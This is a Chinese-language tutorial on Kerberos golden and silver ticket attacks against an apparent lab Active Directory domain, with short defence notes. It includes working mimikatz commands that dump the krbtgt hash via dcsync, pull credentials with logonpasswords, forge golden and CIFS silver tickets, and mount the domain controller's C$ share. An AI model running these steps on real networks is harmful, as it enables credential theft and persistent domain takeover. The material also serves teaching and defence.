票据传递
什么是票据传递
票据传递是基于kerberos认证的一种攻击方式,常用来做后渗透权限维持。
黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM哈希或AES-256的值。
白银票据攻击利用的前提是得到了域内服务账号的HTML哈希或AES-256的值。
其实黄金票据与白银票据本质是趋近的,区别是取决于加密票据的是krbtgt的hash还是其他服务的hash。黄金票据说白了就是知道了krbtgt的hash后可以伪造一张ticket,这个ticket可以访问krbtgt/domain_name服务。白银票据是得到了某个服务的hash,然后伪造一个ticket这个ticket有权限访问那个服务。其实krbtgt就是KDC服务
。
黄金票据伪造了TGT后,会拥有一个伪造后高权限的TGT,还会有一个SESSION key,这样子才能进行后续的kerberos认证,只有TGT没有session key是无法进行后续认证
。
利用:
域:hiro.com
域控:WIN-KONG@192.168.228.10 域管:administrator
域机器: WINis10@192.168.228.40 本地管理员:aspnet
黄金票据(Golden Ticket)
TGT由krbtgt用户Hash加密,如果拥有krbtgt用户Hash就可以制作TGT,从而得到ST服务票据,进而访问域控。
要创建黄金票据,需要以下信息:
1.域名
2.域的SID值(域成员SID值去掉最后的)
3.krbtgt账号的哈希值或AES-256值
在域控上用mimikatz执行:
privilege::debug
lsadump::dcsync /domain:hiro.com /user:krbtgt
mimikatz进行攻击:
kerberos::golden /user:administrator /domain:hiro.com /sid:S-1-5-21-1909134247-741334235-3019370817 /krbtgt:5f468f6d7ac43c327396d832a0241d81 /ptt
在mimikatz上输入kerberos::list查看该票据,或者在机器上cmd窗口输入klist(cmd需要以管理员权限运行)也能查到该票据
验证是否成功:
ps:target需要指向FQDN
在Client端通过Psexec.exe与域控进行连接
或者直接建立ipc$连接
net use \WIN-KONG.hiro.com\c$
黄金票据(Golden Ticket)防御:
使用黄金票据能够在一个域环境中长时间控制整个域,并且日志无法溯源。需要经常更新krbtgt的密码,才能够使得原有的票据失效。最根本的办法是不允许域管账户登录其他服务器
。
白银票据(Silver Ticket)
ticket中的enc-part是由服务Hash加密的,如果有了服务Hash,就可以签发任意用户的ST票据,不需要跟域控打交道,但是只能访问特定服务。(伪造的白银票据没有带有效KDC签名的PAC,如果目标验证了KDC的PAC签名,那么白银票据就不起作用了)
PAC
PAC在AS-REP放在TGT里加密发送给Client
,PAC 中包含的是用户的 SID、用户所在的组等一些信息。当Client需要访问Server所提供的某项服务时, Server为了判断用户是否具有合法的权限需要将Client的SID、用户所在的组等信息传递给KDC, KDC通过SID判断用户的用户组信息,用户权限等,进而将结果返回给Server,Server再将此信息与用户所索取的资源的ACL进行比较, 最后决定是否给用户提供相应的服务。
有些服务并没有验证PAC,这就是白银票据
能成功的原因。如果验证了PAC的话,就算攻击者拥有服务Hash,制作了ST票据,也不能制作PAC(PAC由两个数字签名构成,而这两个数字签名分别由Server NTLM Hash和KDC NTLM Hash加密),并且只有KDC才能制作和查看PAC。
也恰恰是是这个 PAC,造成了 MS14-068 这个漏洞。该漏洞是位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)服务中的 Windows 漏洞,它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC
。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限。
要创建白银票据,需要以下信息:
1.域名
2.域的SID值
3.目标服务的FQDN
4.服务账号的HTLM哈希
利用白银票据伪造CIFS服务权限
CIFS服务常用于Windows主机之间的文件共享
1.在域控使用mimikatz获得域控的NTLM哈希
privilege::Debug
sekurlsa::logonpasswords
2.进行白银票据攻击
kerberos::golden /domain:hiro.com /sid:S-1-5-21-1909134247-741334235-3019370817 /target:WIN-KONG.hiro.com /service:cifs /rc4:39107db5b42b1cfb9f3f38520bb4c0f3
/user:administrator /ptt
在mimikatz上输入kerberos::list查看该票据
在机器上cmd窗口输入klist也能查到该票据
验证是否成功:
net use \WIN-KONG.hiro.com\c$
白银票据(Silver Tickets)防御
尽量防止服务Hash不被窃取,并且开启PAC签名(PAC主要是规定服务器将票据发送给kerberos服务,由kerberos服务验证票据是否有效。
)
但是如果开启PAC认证,会降低认证效率,增加DC的负担,最根本的还是要加固服务器本身对外的服务。
黄金和白银票据的区别
1、访问权限不同
Golden Ticket是伪造的TGT
(Ticket Granting Ticket),所以可以获取任何Kerberos服务权限
Silver Ticket是伪造的TGS
,也就是说其范围有限,只能访问指定的服务权限
2、加密方式不同
Golden Ticket是由krbtgt的hash加密
Silver Ticket是由服务账户hash加密
3、认证流程不同
Golden Ticket在使用的过程需要
同域控通信
Silver Ticket在使用的过程不需要
同域控通信,所以相对来说更加隐蔽。